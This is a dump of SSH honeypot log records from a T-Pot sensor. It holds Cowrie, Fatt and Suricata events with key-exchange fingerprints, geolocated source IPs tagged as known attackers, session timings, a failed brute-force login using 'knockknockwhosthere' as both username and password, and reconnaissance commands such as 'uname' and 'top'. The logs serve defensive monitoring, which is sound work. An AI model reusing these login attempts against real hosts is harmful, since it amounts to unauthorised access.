"hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44734, "dest_port": 22, "timestamp": "2021-09-20T12:06:09.652074", "@timestamp": "2021-09-20T12:06:09.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35057	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:09.652283+03	2021-09-20 15:15:02.74069+03	{"_id": "sgYZA3wBvYTbRNuEbVmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e4a806afc744", "@version": "1", "timestamp": "2021-09-20T12:06:09.652283Z", "@timestamp": "2021-09-20T12:06:09.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35058	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:10.438777+03	2021-09-20 15:15:02.74269+03	{"_id": "swYZA3wBvYTbRNuEbVmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "e4a806afc744", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:06:10.438777Z", "@timestamp": "2021-09-20T12:06:10.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35061	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:06:12.905736+03	2021-09-20 15:15:02.74569+03	{"_id": "3gYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ffcdeef93d35", "@version": "1", "duration": 1.9300861358642578, "timestamp": "2021-09-20T12:06:12.905736Z", "@timestamp": "2021-09-20T12:06:12.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35062	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:19.241318+03	2021-09-20 15:15:02.74769+03	{"_id": "BwYZA3wBvYTbRNuEkFq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:19.241318Z", "@timestamp": "2021-09-20T12:06:19.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35063	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:20.275136+03	2021-09-20 15:15:02.748691+03	{"_id": "CwYZA3wBvYTbRNuElFqg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "96.78.175.36", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3639366626739502, "duplicate": true, "timestamp": "2021-09-20T12:06:20.275136Z", "@timestamp": "2021-09-20T12:06:20.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35064	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:19.911285+03	2021-09-20 15:15:02.749691+03	{"_id": "DQYZA3wBvYTbRNuElFqg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:19.911285Z", "@timestamp": "2021-09-20T12:06:19.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35065	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:19.911833+03	2021-09-20 15:15:02.75169+03	{"_id": "DgYZA3wBvYTbRNuElFqg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:19.911833Z", "@timestamp": "2021-09-20T12:06:19.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35066	81.70.175.230	109.199.241.180	Fatt	2021-09-20 15:06:20.946478+03	2021-09-20 15:15:02.75269+03	{"_id": "EAYZA3wBvYTbRNuEllrA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37988, "dest_port": 22, "timestamp": "2021-09-20T12:06:20.946478", "@timestamp": "2021-09-20T12:06:20.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35067	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:06:21.912297+03	2021-09-20 15:15:02.75369+03	{"_id": "JwYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:56214 (192.168.176.2:22) [session: c19ca68a5462]", "session": "c19ca68a5462", "@version": "1", "protocol": "ssh", "src_port": 56214, "dest_port": 22, "timestamp": "2021-09-20T12:06:21.912297Z", "@timestamp": "2021-09-20T12:06:21.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35068	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:06:22.213063+03	2021-09-20 15:15:02.754689+03	{"_id": "KQYZA3wBvYTbRNuEnFpy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c19ca68a5462", "@version": "1", "timestamp": "2021-09-20T12:06:22.213063Z", "@timestamp": "2021-09-20T12:06:22.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35069	183.17.231.81	109.199.241.180	Fatt	2021-09-20 15:06:22.212299+03	2021-09-20 15:15:02.756691+03	{"_id": "MAYZA3wBvYTbRNuEnlqQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56214, "dest_port": 22, "timestamp": "2021-09-20T12:06:22.212299", "@timestamp": "2021-09-20T12:06:22.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35070	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:22.600472+03	2021-09-20 15:15:02.75769+03	{"_id": "MQYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:22.600472Z", "@timestamp": "2021-09-20T12:06:22.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35071	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:22.964837+03	2021-09-20 15:15:02.75969+03	{"_id": "MwYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "96.78.175.36", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.364452600479126, "duplicate": true, "timestamp": "2021-09-20T12:06:22.964837Z", "@timestamp": "2021-09-20T12:06:22.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35376	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:46.944378+03	2021-09-20 15:15:03.182719+03	{"_id": "EwYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:46.944378Z", "@timestamp": "2021-09-20T12:08:46.944Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35072	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.242545+03	2021-09-20 15:15:02.760691+03	{"_id": "NAYZA3wBvYTbRNuEoFpb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:23.242545Z", "@timestamp": "2021-09-20T12:06:23.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35073	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.609825+03	2021-09-20 15:15:02.762689+03	{"_id": "3wYZA3wBvYTbRNuEfVkr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "1937eedd1ec593fa9bffaf0bc71f3f7f398052a3b07373a3b812518a34dcc790", "src_ip": "96.78.175.36", "ttylog": "log/tty/1937eedd1ec593fa9bffaf0bc71f3f7f398052a3b07373a3b812518a34dcc790", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/1937eedd1ec593fa9bffaf0bc71f3f7f398052a3b07373a3b812518a34dcc790 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3653380870819092, "duplicate": false, "timestamp": "2021-09-20T12:06:13.609825Z", "@timestamp": "2021-09-20T12:06:13.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
